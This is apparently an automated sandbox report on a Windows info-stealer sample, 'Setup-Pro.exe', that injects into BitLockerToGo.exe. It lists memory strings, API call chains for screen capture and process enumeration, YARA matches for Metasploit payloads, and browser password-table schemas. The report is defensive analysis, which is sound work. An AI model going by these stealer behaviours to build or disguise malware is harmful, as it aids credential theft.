Source: FIJECAEHJJJKJKFIDGCB.2.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqX1CqX4pbW1pbWfpbZ7ReNxR3UIG8zInwYIFIVs9eYi
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: https://mozilla.org0/
Source: program.js.0.dr	String found in binary or memory: https://raw.githubusercontent.com/ajv-validator/ajv/master/lib/refs/data.json#
Source: HJEHIJEBKEBFBFHIIDHIIDGIJE.2.dr	String found in binary or memory: https://support.mozilla.org
Source: HJEHIJEBKEBFBFHIIDHIIDGIJE.2.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: HJEHIJEBKEBFBFHIIDHIIDGIJE.2.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.elMx_wJzrE6l
Source: BitLockerToGo.exe, 00000002.00000002.1837091006.00000000035A1000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000002.1852878198.00000000296C0000.00000004.00000020.00020000.00000000.sdmp, FIJECAEHJJJKJKFIDGCB.2.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_15d7e4b694824b33323940336fbf0bead57d89764383fe44
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: BitLockerToGo.exe, 00000002.00000003.1654990713.00000000035D5000.00000004.00000020.00020000.00000000.sdmp, BKJEGDGI.2.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: BitLockerToGo.exe, 00000002.00000003.1654990713.00000000035D5000.00000004.00000020.00020000.00000000.sdmp, BKJEGDGI.2.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: BitLockerToGo.exe, 00000002.00000002.1837091006.00000000035A1000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000002.1852878198.00000000296C0000.00000004.00000020.00020000.00000000.sdmp, FIJECAEHJJJKJKFIDGCB.2.dr	String found in binary or memory: https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u
Source: HJEHIJEBKEBFBFHIIDHIIDGIJE.2.dr	String found in binary or memory: https://www.mozilla.org
Source: HJEHIJEBKEBFBFHIIDHIIDGIJE.2.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.0JoCxlq8ibGr
Source: HJEHIJEBKEBFBFHIIDHIIDGIJE.2.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.Tgc_vjLFc3HK
Source: HJEHIJEBKEBFBFHIIDHIIDGIJE.2.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: BitLockerToGo.exe, 00000002.00000003.1797055526.000000002F8B3000.00000004.00000020.00020000.00000000.sdmp, HJEHIJEBKEBFBFHIIDHIIDGIJE.2.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 2_2_03019010 CreateStreamOnHGlobal,GetDesktopWindow,GetWindowRect,GetDC,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,GetHGlobalFromStream,GlobalLock,GlobalSize,SelectObject,DeleteObject,DeleteObject,ReleaseDC,CloseWindow,

2_2_03019010

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000000.00000002.1586077537.0000000002900000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Metasploit Payloads - file msf.war - contents Author: Florian Roth
Source: 00000000.00000003.1507758122.0000000002900000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Metasploit Payloads - file msf.war - contents Author: Florian Roth
Source: 00000000.00000003.1507758122.00000000029D4000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Metasploit Payloads - file msf.war - contents Author: Florian Roth
Source: 00000000.00000002.1586077537.00000000029D4000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Metasploit Payloads - file msf.war - contents Author: Florian Roth
Source: Process Memory Space: Setup-Pro.exe PID: 7596, type: MEMORYSTR	Matched rule: Metasploit Payloads - file msf.war - contents Author: Florian Roth

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_6CCDB700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	2_2_6CCDB700
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_6CCDB8C0 rand_s,NtQueryVirtualMemory,	2_2_6CCDB8C0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_6CCDB910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	2_2_6CCDB910
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_6CC7F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	2_2_6CC7F280

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_6CC735A0	2_2_6CC735A0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_6CC864C0	2_2_6CC864C0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_6CC9D4D0	2_2_6CC9D4D0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_6CC7D4E0	2_2_6CC7D4E0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_6CCB6CF0	2_2_6CCB6CF0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_6CC86C80	2_2_6CC86C80
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_6CCD34A0	2_2_6CCD34A0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_6CCDC4A0	2_2_6CCDC4A0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_6CC85440	2_2_6CC85440
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_6CCE545C	2_2_6CCE545C
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_6CCEAC00	2_2_6CCEAC00
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_6CCB5C10	2_2_6CCB5C10
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_6CCC2C10	2_2_6CCC2C10
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_6CCE542B	2_2_6CCE542B
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_6CCB0DD0	2_2_6CCB0DD0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_6CCD85F0	2_2_6CCD85F0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_6CC8FD00	2_2_6CC8FD00
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_6CCA0512	2_2_6CCA0512
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_6CC9ED10	2_2_6CC9ED10
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_6CCE76E3	2_2_6CCE76E3
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_6CC7BEF0	2_2_6CC7BEF0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_6CC8FEF0	2_2_6CC8FEF0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_6CCDE680	2_2_6CCDE680
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_6CC95E90	2_2_6CC95E90
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_6CCD4EA0	2_2_6CCD4EA0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_6CCC2E4E	2_2_6CCC2E4E
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_6CC94640	2_2_6CC94640
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_6CC99E50	2_2_6CC99E50
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_6CCB3E50	2_2_6CCB3E50
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_6CCE6E63	2_2_6CCE6E63
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_6CC7C670	2_2_6CC7C670
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_6CCC5600	2_2_6CCC5600
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_6CCB7E10	2_2_6CCB7E10
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_6CCD9E30	2_2_6CCD9E30
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_6CC7DFE0	2_2_6CC7DFE0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_6CCA6FF0	2_2_6CCA6FF0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_6CCC77A0	2_2_6CCC77A0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_6CC89F00	2_2_6CC89F00
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_6CCB7710	2_2_6CCB7710
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_6CCE50C7	2_2_6CCE50C7
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_6CC9C0E0	2_2_6CC9C0E0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_6CCB58E0	2_2_6CCB58E0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_6CCA60A0	2_2_6CCA60A0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_6CC98850	2_2_6CC98850
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_6CC9D850	2_2_6CC9D850
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_6CCBF070	2_2_6CCBF070
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_6CC87810	2_2_6CC87810
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_6CCBB820	2_2_6CCBB820
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_6CCC4820	2_2_6CCC4820
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_6CCB5190	2_2_6CCB5190
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_6CCD2990	2_2_6CCD2990
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_6CC7C9A0	2_2_6CC7C9A0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_6CCAD9B0	2_2_6CCAD9B0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_6CC9A940	2_2_6CC9A940
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_6CC8D960	2_2_6CC8D960
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_6CCCB970	2_2_6CCCB970
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_6CCEB170	2_2_6CCEB170
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_6CCB8AC0	2_2_6CCB8AC0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_6CC91AF0	2_2_6CC91AF0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_6CCBE2F0	2_2_6CCBE2F0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_6CCEBA90	2_2_6CCEBA90
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_6CC722A0	2_2_6CC722A0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_6CCA4AA0	2_2_6CCA4AA0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_6CC8CAB0	2_2_6CC8CAB0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_6CCE2AB0	2_2_6CCE2AB0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_6CCB9A60	2_2_6CCB9A60
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_6CCE53C8	2_2_6CCE53C8
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_6CC7F380	2_2_6CC7F380
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_6CC75340	2_2_6CC75340
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_6CC8C370	2_2_6CC8C370
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_6CCBD320	2_2_6CCBD320

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: String function: 6CCACBE8 appears 134 times
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: String function: 6CCB94D0 appears 90 times
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: String function: 030045C0 appears 316 times

Source: Setup-Pro.exe, 00000000.00000000.1399629904.00000000022E0000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFileName vs Setup-Pro.exe
Source: Setup-Pro.exe, 00000000.00000003.1507758122.000000000299A000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameBITLOCKERTOGO.EXEj% vs Setup-Pro.exe

Source: Setup-Pro.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 00000000.00000002.1586077537.0000000002900000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Msfpayloads_msf_9 date = 2017-02-09, hash1 = e408678042642a5d341e8042f476ee7cef253871ef1c9e289acf0ee9591d1e81, author = Florian Roth, description = Metasploit Payloads - file msf.war - contents, reference = Internal Research
Source: 00000000.00000003.1507758122.0000000002900000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Msfpayloads_msf_9 date = 2017-02-09, hash1 = e408678042642a5d341e8042f476ee7cef253871ef1c9e289acf0ee9591d1e81, author = Florian Roth, description = Metasploit Payloads - file msf.war - contents, reference = Internal Research
Source: 00000000.00000003.1507758122.00000000029D4000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Msfpayloads_msf_9 date = 2017-02-09, hash1 = e408678042642a5d341e8042f476ee7cef253871ef1c9e289acf0ee9591d1e81, author = Florian Roth, description = Metasploit Payloads - file msf.war - contents, reference = Internal Research
Source: 00000000.00000002.1586077537.00000000029D4000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Msfpayloads_msf_9 date = 2017-02-09, hash1 = e408678042642a5d341e8042f476ee7cef253871ef1c9e289acf0ee9591d1e81, author = Florian Roth, description = Metasploit Payloads - file msf.war - contents, reference = Internal Research
Source: Process Memory Space: Setup-Pro.exe PID: 7596, type: MEMORYSTR	Matched rule: Msfpayloads_msf_9 date = 2017-02-09, hash1 = e408678042642a5d341e8042f476ee7cef253871ef1c9e289acf0ee9591d1e81, author = Florian Roth, description = Metasploit Payloads - file msf.war - contents, reference = Internal Research

Source: Setup-Pro.exe

Binary string: bindm in unexpected GOOSruntime: mp.lockedInt = runqsteal: runq overflowdouble traceGCSweepStartbad use of trace.seqlockreflect.StructOf: field reflect.MapIter.SetValuereflect.Value.SetComplexreflect.Value.UnsafeAddrapplication/octet-streamRequest Entity Too Largeunexpected mantissa baseunexpected exponent baseRat.Scan: invalid syntaxx509: malformed validityjson: unsupported type: 116415321826934814453125582076609134674072265625node has invalid kind %vcannot repeat map key %qconstructs.MetadataEntryaws-cdk-lib.AssetStagingaws-cdk-lib.CfnConditionaws-cdk-lib.CfnParameteracceptTermsAndConditionsaws-cdk-lib.CfnPublisheraws-cdk-lib.FeatureFlagsaws-cdk-lib.PhysicalNameaws-cdk-lib.StringConcataws-cdk-lib.Tokenizationaws-cdk-lib.AssetOptionsaws-cdk-lib.CfnHookPropsaws-cdk-lib.CfnJsonPropsAcceptTermsAndConditionsaws-cdk-lib.CfnRulePropsaws-cdk-lib.DockerVolumeaws-cdk-lib.IAnyProduceraws-cdk-lib.IInspectableaws-cdk-lib.ITokenMapperassumeRolePolicyDocumentopenIdConnectProviderArnaws-cdk-lib.aws_iam.Roleaws-cdk-lib.aws_iam.UserAssumeRolePolicyDocumentOpenIdConnectProviderArnaws-cdk-lib.aws_kms.IKeybucketRegionalDomainNamenotificationsHandlerRolereplicationConfigurationattrPolicyStatusIsPublicstorageLensConfigurationOBJECT_RESTORE_COMPLETEDBucketRegionalDomainNameNotificationsHandlerRoleReplicationConfigurationAttrPolicyStatusIsPublicStorageLensConfigurationstatisticsConfigurationsStatisticsConfigurationsallowUnassociatedTargetstaskInvocationParametersAWS_EC2_SECURITYGROUP_IDAllowUnassociatedTargetsTaskInvocationParametersAllocateAndInitializeSidBuildSecurityDescriptorWAssignProcessToJobObjectGenerateConsoleCtrlEventGetMaximumProcessorCountGetNamedPipeHandleStateWSetConsoleCursorPositionSetDefaultDllDirectoriesNtQuerySystemInformationSetupDiCreateDeviceInfoWSetupDiGetSelectedDeviceSetupDiSetSelectedDeviceGetWindowThreadProcessIdzlib: invalid dictionaryexec: Stdout already setexec: Stderr already setinvalid pattern syntax: duplicate %TAG directiveread handler must be setexceeded max depth of %dwhile scanning an anchoraddress string too shortresource length too longunpacking Question.Classidna: disallowed rune %Uindent can only be space%s%s is unsupported typeinvalid instance id: %#vsha2-256-trunc254-paddedno protocol with code %dbyte slice too short: %dbindnode Finish TODO: %TMap__String__UnionMemberMap__HexString__TypeNameStructRepresentation_Mapmust start with a letterAWS_CLOUDFORMATION_STACKflate: maxBits too largestreamSafe was not resetType.Indirect argument 1SliceType.Len argument 1SliceType.Cap argument 1\Device\NamedPipe\cygwinGODEBUG sys/cpu: value "", required CPU feature

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/27@0/1

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 2_2_6CCD7030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

2_2_6CCD7030

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 2_2_03019600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

2_2_03019600

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 2_2_03013720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

2_2_03013720

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\BW7MTRYF.htm

Jump to behavior

Source: C:\Users\user\Desktop\Setup-Pro.exe

File created: C:\Users\user\AppData\Local\Temp\jsii-runtime.775329715

Jump to behavior

Source: Setup-Pro.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\Setup-Pro.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.2.dr, softokn3.dll.2.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: BitLockerToGo.exe, 00000002.00000002.1858771961.000000006CEAF000.00000002.00000001.01000000.00000007.sdmp, BitLockerToGo.exe, 00000002.00000002.1858303161.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000002.1847494467.000000001D530000.00000004.00000020.00020000.00000000.sdmp, nss3[1].dll.2.dr, nss3.dll.2.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.2.dr, softokn3.dll.2.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: BitLockerToGo.exe, 00000002.00000002.1858771961.000000006CEAF000.00000002.00000001.01000000.00000007.sdmp, BitLockerToGo.exe, 00000002.00000002.1858303161.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000002.1847494467.000000001D530000.00000004.00000020.00020000.00000000.sdmp, nss3[1].dll.2.dr, nss3.dll.2.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: BitLockerToGo.exe, 00000002.00000002.1858771961.000000006CEAF000.00000002.00000001.01000000.00000007.sdmp, BitLockerToGo.exe, 00000002.00000002.1858303161.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000002.1847494467.000000001D530000.00000004.00000020.00020000.00000000.sdmp, nss3[1].dll.2.dr, nss3.dll.2.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: BitLockerToGo.exe, 00000002.00000002.1858771961.000000006CEAF000.00000002.00000001.01000000.00000007.sdmp, BitLockerToGo.exe, 00000002.00000002.1858303161.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000002.1847494467.000000001D530000.00000004.00000020.00020000.00000000.sdmp, nss3[1].dll.2.dr, nss3.dll.2.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.2.dr, softokn3.dll.2.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.2.dr, softokn3.dll.2.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.2.dr, softokn3.dll.2.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.2.dr, softokn3.dll.2.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.2.dr, softokn3.dll.2.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: BitLockerToGo.exe, 00000002.00000002.1858771961.000000006CEAF000.00000002.00000001.01000000.00000007.sdmp, BitLockerToGo.exe, 00000002.00000002.1858303161.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000002.1847494467.000000001D530000.00000004.00000020.00020000.00000000.sdmp, nss3[1].dll.2.dr, nss3.dll.2.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: BitLockerToGo.exe, 00000002.00000002.1858771961.000000006CEAF000.00000002.00000001.01000000.00000007.sdmp, BitLockerToGo.exe, 00000002.00000002.1858303161.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000002.1847494467.000000001D530000.00000004.00000020.00020000.00000000.sdmp, nss3[1].dll.2.dr, nss3.dll.2.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: BitLockerToGo.exe, 00000002.00000002.1858303161.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000002.1847494467.000000001D530000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.2.dr, softokn3.dll.2.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: BitLockerToGo.exe, 00000002.00000003.1654256732.00000000235E9000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1671794352.00000000235DC000.00000004.00000020.00020000.00000000.sdmp, IDHIDBAEGIIIDHJKEGDB.2.dr, CBGCAFIIECBFIDHIJKFB.2.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: BitLockerToGo.exe, 00000002.00000002.1858303161.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000002.1847494467.000000001D530000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.2.dr, softokn3.dll.2.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: BitLockerToGo.exe, 00000002.00000002.1858303161.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000002.1847494467.000000001D530000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.2.dr, softokn3.dll.2.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: Setup-Pro.exe	String found in binary or memory: proto: oneof field has nil valueproto: don't know how to copy %vproto: required field %q not setproto: bad default uint32 %q: %vproto: bad default uint64 %q: %vstdtime is not time.Time, but %Ttimestamp: %#v before 0001-01-01timestamp: %#v after 10000-01-01instanceInitiatedShutdownBehavioraws-cdk-lib.aws_ec2.CfnNatGatewayaws-cdk-lib.aws_ec2.CfnNetworkAclattrNetworkInsightsAccessScopeArnaws-cdk-lib.aws_ec2.CfnPrefixListaws-cdk-lib.aws_ec2.CfnRouteTableaws-cdk-lib.aws_ec2.CfnVPNGatewayattrVerifiedAccessTrustProviderIdaws-cdk-lib.aws_ec2.Ipv6Addressesaws-cdk-lib.aws_ec2.MultipartBodyaws-cdk-lib.aws_ec2.PrivateSubnetaws-cdk-lib.aws_ec2.SecurityGroupaws-cdk-lib.aws_ec2.VpnConnectionWINDOWS_SERVER_2016_ENGLISH_TESLAWINDOWS_SERVER_2019_ENGLISH_TESLAaws-cdk-lib.aws_ec2.AclCidrConfigaws-cdk-lib.aws_ec2.AddressFamilyInstanceInitiatedShutdownBehaviorAttrNetworkInsightsAccessScopeArnaws-cdk-lib.aws_ec2.CfnRoutePropsAttrVerifiedAccessTrustProviderIdaws-cdk-lib.aws_ec2.GatewayConfigaws-cdk-lib.aws_ec2.IMachineImageaws-cdk-lib.aws_ec2.IPublicSubnetaws-cdk-lib.aws_ec2.InstanceClassaws-cdk-lib.aws_ec2.InstancePropsaws-cdk-lib.